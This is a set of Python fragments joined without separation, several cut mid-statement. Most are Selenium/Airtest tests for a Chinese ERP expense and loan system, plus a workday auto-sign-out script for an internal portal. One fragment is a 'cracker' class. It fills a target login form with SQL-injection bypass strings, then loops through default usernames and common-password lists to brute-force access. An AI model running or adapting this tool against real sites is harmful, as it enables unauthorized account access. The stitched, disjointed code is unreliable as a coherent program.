def job1(useid, password): #通过python自带的模块判断是不是节假日 nowTime = datetime.date(datetime.datetime.now().year, datetime.datetime.now().month, datetime.datetime.now().day) print(is_workday(nowTime)) if is_workday(nowTime): print('Its weekday') driver = WebChrome() driver.implicitly_wait(20) driver.get( "http://sso.portal.unicom.local/eip_sso/aiportalLogin.html?appid=na186&success=http://service.aiportal.unicom.local/ssoclient/ssologin&error=http://sso.portal.unicom.local/eip_sso/aiportalLogin.html&return=http://sso.portal.unicom.local/eip_sso/aiportalLogin.html" ) driver.find_element_by_id('login').send_keys(useid) driver.find_element_by_id('password').send_keys(password) driver.find_element_by_xpath("//button[@class='login_botton']").click() driver.find_element_by_xpath( "//div[@class='pan' and @label='人力资源2.0']").click() driver.switch_to_new_tab() driver.find_element_by_xpath( "//a[@class = 'gn_block gn_block1']").click() driver.switch_to_new_tab() driver.find_element_by_xpath( "//button[@class='ant-btn sign-btn signout ant-btn-primary']" ).click() driver.quit() else: print('Its holiday')
resolution=(100, 100))) driver.assert_template( Template(r"tpl1595319156050.png", record_pos=(3.73, 3.635), resolution=(100, 100)), "进入选择借款单界面") driver.airtest_touch( Template(r"tpl1595319182296.png", record_pos=(14.42, 5.43), resolution=(100, 100))) driver.find_element_by_xpath( "//*[@id=\"erp_cmbREPAY_MODE_ID\"]/div/div/input").click() driver.airtest_touch( Template(r"tpl1595319230179.png", record_pos=(3.325, 4.44), resolution=(100, 100))) driver.find_element_by_id("erp_txtMEMO").send_keys("123") driver.find_element_by_id("erp_txtREPAY_AMOUNT").clear() driver.find_element_by_id("erp_txtREPAY_AMOUNT").send_keys("1000") driver.airtest_touch( Template(r"tpl1595319316699.png", record_pos=(2.16, 1.735), resolution=(100, 100))) driver.assert_template( Template(r"tpl1595319464979.png", record_pos=(13.595, 2.665), resolution=(100, 100)), "保存") driver.execute_script('window.scrollTo(0,document.body.scrollHeight)') #滑到底部 driver.airtest_touch( Template(r"tpl1595490704194.png", record_pos=(1.755, 9.28),
driver.find_element_by_xpath( "//*[@id=\"app\"]/div/div/div[2]/div/div/ul/div[4]/li/ul/div/a/li/span" ).click() driver.assert_template( Template(r"tpl1595484957475.png", record_pos=(11.275, 0.975), resolution=(100, 100)), "进入费用报销申请单界面") driver.airtest_touch( Template(r"tpl1595484997538.png", record_pos=(10.46, 1.81), resolution=(100, 100))) driver.assert_template( Template(r"tpl1595485017525.png", record_pos=(9.765, 1.565), resolution=(100, 100)), "进入新增费用报销界面") driver.find_element_by_id("erp_txtMEMO").send_keys("报销租金") driver.airtest_touch( Template(r"tpl1595485120532.png", record_pos=(9.64, 1.79), resolution=(100, 100))) driver.assert_template( Template(r"tpl1595485135763.png", record_pos=(15.045, 0.82), resolution=(100, 100)), "提示保存成功") driver.assert_template( Template(r"tpl1595485175400.png", record_pos=(9.59, 5.37), resolution=(100, 100)), "显示报销明细") driver.airtest_touch( Template(r"tpl1595485196897.png", record_pos=(9.665, 5.575),
# 登录黄振旭账号,提交差旅报销申请单 common.login(driver,"huangzhenxu") driver.assert_exist("//*[@id=\"tags-view-container\"]/div/div/div/span", "xpath", "验证是否登录进入主页.") common.upload_invoice(driver) # 上传一张发票 driver.airtest_touch(Template(r"tpl1597398632931.png", record_pos=(0.36, 7.65), resolution=(100, 100))) driver.assert_template(Template(r"tpl1595237905970.png", record_pos=(9.16, 1.595), resolution=(100, 100)), "打开差旅报销申请单") driver.airtest_touch(Template(r"tpl1595238021979.png", record_pos=(9.275, 2.43), resolution=(100, 100))) driver.assert_template(Template(r"tpl1595238038956.png", record_pos=(8.545, 2.035), resolution=(100, 100)), "进入新增页面") driver.airtest_touch(Template(r"tpl1595238520371.png", target_pos=4, record_pos=(7.775, 4.005), resolution=(100, 100))) driver.assert_template(Template(r"tpl1595238613863.png", record_pos=(3.855, 4.43), resolution=(100, 100)), "进入选择出差申请单界面") driver.airtest_touch(Template(r"tpl1595238654302.png", record_pos=(14.395, 5.615), resolution=(100, 100))) driver.find_element_by_id("erp_txtMEMO").send_keys("租金") driver.airtest_touch(Template(r"tpl1595238805466.png", record_pos=(2.18, 2.125), resolution=(100, 100))) driver.assert_template(Template(r"tpl1595238835098.png", record_pos=(13.135, 1.555), resolution=(100, 100)), "提示保存成功") driver.assert_template(Template(r"tpl1595469277807.png", record_pos=(13.305, 2.33), resolution=(100, 100)), "保存成功") time.sleep(1) driver.execute_script('window.scrollTo(0,document.body.scrollHeight)') #滑到底部 driver.find_element_by_xpath("//*[@id=\"pane-first\"]/form/div[4]/div/div/div/div/input").send_keys("审批意见") driver.airtest_touch(Template(r"tpl1595490704194.png", record_pos=(1.755, 9.28), resolution=(100, 100))) driver.assert_template(Template(r"tpl1597398883604.png", record_pos=(4.07, 2.675), resolution=(100, 100)), "提交成功,进入直属领导审批") common.quit(driver) # 登录何英 common.login(driver,"heying") driver.find_element_by_xpath("//*[@id=\"dashboard\"]/form/div/div/div/div[2]/div/div[4]/div[2]/table/tbody/tr/td[2]/div/span").click() driver.assert_template(Template(r"tpl1595469628616.png", record_pos=(9.655, 1.54), resolution=(100, 100)), "进入审批界面") sleep(1)
driver.assert_template( Template(r"tpl1594866964820.png", record_pos=(8.41, 1.275), resolution=(100, 100)), "选择人员") driver.airtest_touch( Template(r"tpl1594866998339.png", record_pos=(17.14, 4.035), resolution=(100, 100))) driver.find_element_by_xpath("//input[@placeholder='选择招待日期']").click() driver.airtest_touch( Template(r"tpl1594867092167.png", target_pos=6, record_pos=(17.3, 5.43), resolution=(100, 100))) driver.find_element_by_id("erp_txtSERVE_ESTIMATED_COST").clear() driver.find_element_by_id("erp_txtSERVE_ESTIMATED_COST").send_keys("500") driver.airtest_touch( Template(r"tpl1594867171110.png", record_pos=(9.37, 4.33), resolution=(100, 100))) driver.airtest_touch( Template(r"tpl1594867195573.png", record_pos=(9.365, 5.445), resolution=(100, 100))) driver.airtest_touch( Template(r"tpl1594868096187.png", record_pos=(10.215, 4.73), resolution=(100, 100))) driver.find_element_by_xpath("//*[@id=\"erp_txtSERVE_GUESTS\"]").send_keys( "招待对象")
class cracker(): def __init__(self, target_url): self.driver = WebChrome() self.driver.get(target_url) self.driver.implicitly_wait(20) self.exp_user_dic = [ "admin' or 'a'='a", "'or'='or'", "admin' or '1'='1' or 1=1", "')or('a'='a", "'or 1=1 -- -" ] self.exp_pass_dic = self.exp_user_dic self.static_user_dic = [ 'admin', 'system', 'sa', 'test', 'manager', 'root', 'user', 'www', 'web', 'username', 'guest', 'name', 'zhanghao', 'yonghu', 'email', 'account' ] self.suffix_dic = ['', '123', '888', '666', '123456'] self.static_pass_dic = [ '{user}', '123456', '{user}888', '12345678', '123123', '88888888', '888888', 'password', '123456a', '{user}123', '{user}123456', '{user}666', '{user}2018', '123456789', '654321', '666666', '66666666', '1234567890', '8888888', '987654321', '0123456789', '12345', '1234567', '000000', '111111', '5201314', '123123', 'pass', 'password', 'P@ssw0rd', 'P@ssw0rd2019', 'P@ssw0rd2020', 'P@ssw0rd2021' ] self.password_inputbox_id = '' self.username_inputbox_id = '' def find_element_ids(self): page_source = self.driver.page_source username_flags = ["user", "account", "用户名", "邮箱", "手机", "证号"] rex_ele_id = re.compile(r'id="(\S*?)"') rex_username_ele = re.compile(r'(<input .*type="text".*?>)') rex_password_ele = re.compile(r'(<input .*type="password".*?>)') possible_username_eles = rex_username_ele.findall(page_source) username_ele = '' for possible_username_ele in possible_username_eles: if username_ele: break for username_flag in username_flags: if username_flag in possible_username_ele: username_ele = possible_username_ele break if not username_ele: self.username_inputbox_id = '' else: self.username_inputbox_id = rex_ele_id.findall(username_ele)[0] print("Uername Input Box ID:\t{}".format( self.username_inputbox_id)) password_eles = rex_password_ele.findall(page_source) password_ele = password_eles[0] if password_eles else '' if not password_ele: self.password_input_id = '' else: self.password_inputbox_id = rex_ele_id.findall(password_ele)[0] print("Password Input Box ID:\t{}".format( self.password_inputbox_id)) return True def brute_force(self, username, password): password = password.replace( '{user}', username) if '{user}' in password else password print('Trying {0}:{1}'.format(username, password)) username_ele = self.driver.find_element_by_id( self.username_inputbox_id ) if self.username_inputbox_id else self.driver.find_element_by_xpath( "//input[@type='text']") password_ele = self.driver.find_element_by_id( self.password_inputbox_id ) if self.password_inputbox_id else self.driver.find_element_by_xpath( "//input[@type='password']") username_ele.clear() username_ele.send_keys(username) password_ele.send_keys(password) password_ele.send_keys(Keys.RETURN) sleep(2) if self.password_inputbox_id in self.driver.page_source and self.username_inputbox_id in self.driver.page_source: print('Login Failed') return False else: print('Login Succeed') return True def loop(self, users, passwords): for user in users: for password in passwords: try: ret = self.brute_force(user, password) if ret: return True except Exception as e: print(e) self.driver.refresh() sleep(1) return False def run(self, userfile='', passfile=''): self.find_element_ids() if userfile and passfile: users = open(userfile).read().strip('\n').split('\n') passwords = open(passfile).read().strip('\n').split('\n') if self.loop(users, passwords): print("爆破成功") input() else: print("Loading inject users/passwords") users = self.exp_user_dic passwords = self.exp_pass_dic if self.loop(users, passwords): print("爆破成功") input() print("Loding default account pairs") users = [] for suffix in self.suffix_dic: for user in self.static_user_dic: users.append(user + suffix) passwords = self.static_pass_dic if self.loop(users, passwords): print("爆破成功") input()
driver.find_element_by_xpath( "//*[@id=\"erp_cmbTRAVEL_TO_PLACE\"]/div/div/input").click() driver.airtest_touch( Template(r"tpl1594807757859.png", record_pos=(10.455, 4.745), resolution=(100, 100))) driver.airtest_touch( Template(r"tpl1594807773681.png", record_pos=(12.275, 4.745), resolution=(100, 100))) driver.assert_template( Template(r"tpl1594807036893.png", record_pos=(15.575, 4.205), resolution=(100, 100)), "选择目的地") driver.find_element_by_id("erp_cmbTRAVEL_WAY").click() driver.airtest_touch( Template(r"tpl1594807956116.png", record_pos=(7.25, 4.575), resolution=(100, 100))) driver.assert_template( Template(r"tpl1594807104688.png", record_pos=(15.22, 4.085), resolution=(100, 100)), "选择出行方式") driver.find_element_by_xpath("//input[@placeholder='选择出差开始日期']").click() driver.airtest_touch( Template(r"tpl1594807219148.png", target_pos=4, record_pos=(10.94, 6.49), resolution=(100, 100)))
driver = WebChrome() driver.implicitly_wait(20) driver.get("http://14.21.59.70:1000/") driver.maximize_window()#放大浏览器 #登录黄振旭账号,填写预付款申请单↓ common.login(driver,"huangzhenxu") driver.assert_exist("//*[@id=\"tags-view-container\"]/div/div/div/span", "xpath", "验证是否登录进入主页.") driver.airtest_touch(Template(r"tpl1597394167142.png", record_pos=(0.07, 6.645), resolution=(100, 100))) driver.assert_template(Template(r"tpl1595215637171.png", record_pos=(6.735, 1.575), resolution=(100, 100)), "进入预付款申请单页面") driver.airtest_touch(Template(r"tpl1595215662545.png", record_pos=(7.125, 1.975), resolution=(100, 100))) driver.assert_template(Template(r"tpl1595215694789.png", record_pos=(6.4, 1.76), resolution=(100, 100)), "进入新增界面") driver.find_element_by_xpath("//*[@id=\"erp_cmbEXPECTED_INVOICE_TYPE\"]/div/div/input").send_keys("") driver.airtest_touch(Template(r"tpl1595215753390.png", record_pos=(7.805, 5.555), resolution=(100, 100))) driver.assert_template(Template(r"tpl1595215764639.png", record_pos=(7.065, 4.355), resolution=(100, 100)), "选择预计发票类型") driver.find_element_by_id("erp_txtEXPECTED_INVOICE_RATE").clear() driver.find_element_by_id("erp_txtEXPECTED_INVOICE_RATE").send_keys("10") driver.find_element_by_id("erp_txtADVANCES_AMOUNT").clear() driver.find_element_by_id("erp_txtADVANCES_AMOUNT").send_keys("1000") driver.find_element_by_id("erp_txtPAYEE_BANK_ACCOUNT").send_keys("123456") driver.find_element_by_id("erp_txtPAYEE_BANK").send_keys("654321") driver.find_element_by_id("erp_txtPAYEE_FULL_NAME").send_keys("银河装备") driver.find_element_by_id("erp_txtADVANCES_REASON").send_keys("租金") driver.find_element_by_id("erp_txtMEMO").send_keys("租金") driver.find_element_by_id("erp_cmbADVANCES_ATTR_TYPE").click() driver.airtest_touch(Template(r"tpl1597394517213.png", record_pos=(3.355, 4.395), resolution=(100, 100))) driver.airtest_touch(Template(r"tpl1595216371565.png", record_pos=(7.775, 2.75), resolution=(100, 100))) driver.assert_template(Template(r"tpl1595216415181.png", record_pos=(11.535, 3.105), resolution=(100, 100)), "保存成功") driver.execute_script('window.scrollTo(0,document.body.scrollHeight)') #滑到底部 driver.assert_template(Template(r"tpl1595216500600.png", record_pos=(10.69, 8.12), resolution=(100, 100)), "显示下一步审批人员") driver.airtest_touch(Template(r"tpl1595490704194.png", record_pos=(1.755, 9.28), resolution=(100, 100)))
ActionChains(driver).move_to_element(tag_element).perform()#鼠标悬停到该元素 driver.find_element_by_link_text("ERP").click()#点击该元素 driver.assert_template(Template(r"tpl1583921002974.png", record_pos=(5.87, 1.895), resolution=(100, 100)), "是否定位至erp") driver.find_element_by_xpath("//img[@src='images/product/js_1.png']").click() driver.assert_template(Template(r"tpl1583921034507.png", record_pos=(7.63, 2.285), resolution=(100, 100)), "是否定位至讲师") js="window.scrollTo(0,document.body.scrollHeight)" driver.execute_script(js)#页面滑动至最底部 time.sleep(1) driver.assert_template(Template(r"tpl1583919799081.png", record_pos=(4.455, 7.99), resolution=(100, 100)), "验证是否滑动至最底部") driver.find_element_by_xpath("//a[@href='about.html']").click() driver.assert_template(Template(r"tpl1583918269179.png", record_pos=(3.38, 4.15), resolution=(100, 100)), "是否跳转至关于我们页面") driver.find_element_by_xpath("//a[@href='download.html']").click() driver.assert_template(Template(r"tpl1583918305017.png", record_pos=(3.245, 5.25), resolution=(100, 100)), "是否跳转至下载专区页面") # driver.find_element_by_xpath("/html/body/div[4]/div/div[2]/div/div[3]/a").click() driver.find_element_by_xpath("//a[@href='#']").click() driver.find_element_by_id("companyText").send_keys("看一下") driver.find_element_by_xpath("//input[@placeholder='手机号:']").send_keys("13411111111") driver.find_element_by_xpath("//input[@placeholder='验证码:']").send_keys("1023") driver.find_element_by_xpath("//textarea[@placeholder='留言:']").send_keys("6666666") driver.find_element_by_xpath("//div[@onclick='doSubmit()']").click() time.sleep(4) driver.quit()
resolution=(100, 100)), "进入借款单页面") driver.airtest_touch( Template(r"tpl1595381273465.png", record_pos=(10.055, 1.96), resolution=(100, 100))) driver.assert_template( Template(r"tpl1595381296421.png", record_pos=(9.375, 1.75), resolution=(100, 100)), "进入新增借款单界面") driver.find_element_by_xpath( "//*[@id=\"erp_cmbLOAN_TYPE_ID\"]/div/div/input").click() driver.airtest_touch( Template(r"tpl1597391204520.png", record_pos=(3.49, 6.075), resolution=(100, 100))) driver.find_element_by_id("erp_txtLOAN_AMOUNT").clear() driver.find_element_by_id("erp_txtLOAN_AMOUNT").send_keys("1000") driver.find_element_by_xpath("//input[@placeholder='选择预计还款日期']").click() driver.airtest_touch( Template(r"tpl1595381535711.png", record_pos=(17.185, 6.565), resolution=(100, 100))) driver.find_element_by_id("erp_txtLOAN_REASON").send_keys("事由租金") driver.find_element_by_id("erp_txtMEMO").send_keys("备注租金") driver.airtest_touch( Template(r"tpl1595383208112.png", record_pos=(9.25, 1.96), resolution=(100, 100))) driver.assert_template( Template(r"tpl1595383320737.png", record_pos=(13.19, 2.94),
driver.find_element_by_xpath( "//*[@id=\"app\"]/div/div[1]/div[2]/div[1]/div/ul/div[4]/li/ul/div[2]/a/li/span" ).click() driver.assert_template( Template(r"tpl1595228936982.png", record_pos=(2.895, 0.88), resolution=(100, 100)), "进入费用报销申请单") driver.airtest_touch( Template(r"tpl1595228967476.png", record_pos=(2.99, 1.69), resolution=(100, 100))) driver.assert_template( Template(r"tpl1595228980833.png", record_pos=(2.275, 1.495), resolution=(100, 100)), "进入新增页面") driver.find_element_by_id("erp_txtMEMO").send_keys("租金") driver.airtest_touch( Template(r"tpl1595229065206.png", record_pos=(2.195, 1.705), resolution=(100, 100))) driver.assert_template( Template(r"tpl1595229087417.png", record_pos=(8.795, 2.07), resolution=(100, 100)), "保存成功") driver.execute_script('window.scrollTo(0,400)') #滑到400的位置 driver.airtest_touch( Template(r"tpl1595229365733.png", record_pos=(2.165, 1.915), resolution=(100, 100))) driver.assert_template( Template(r"tpl1595229377593.png",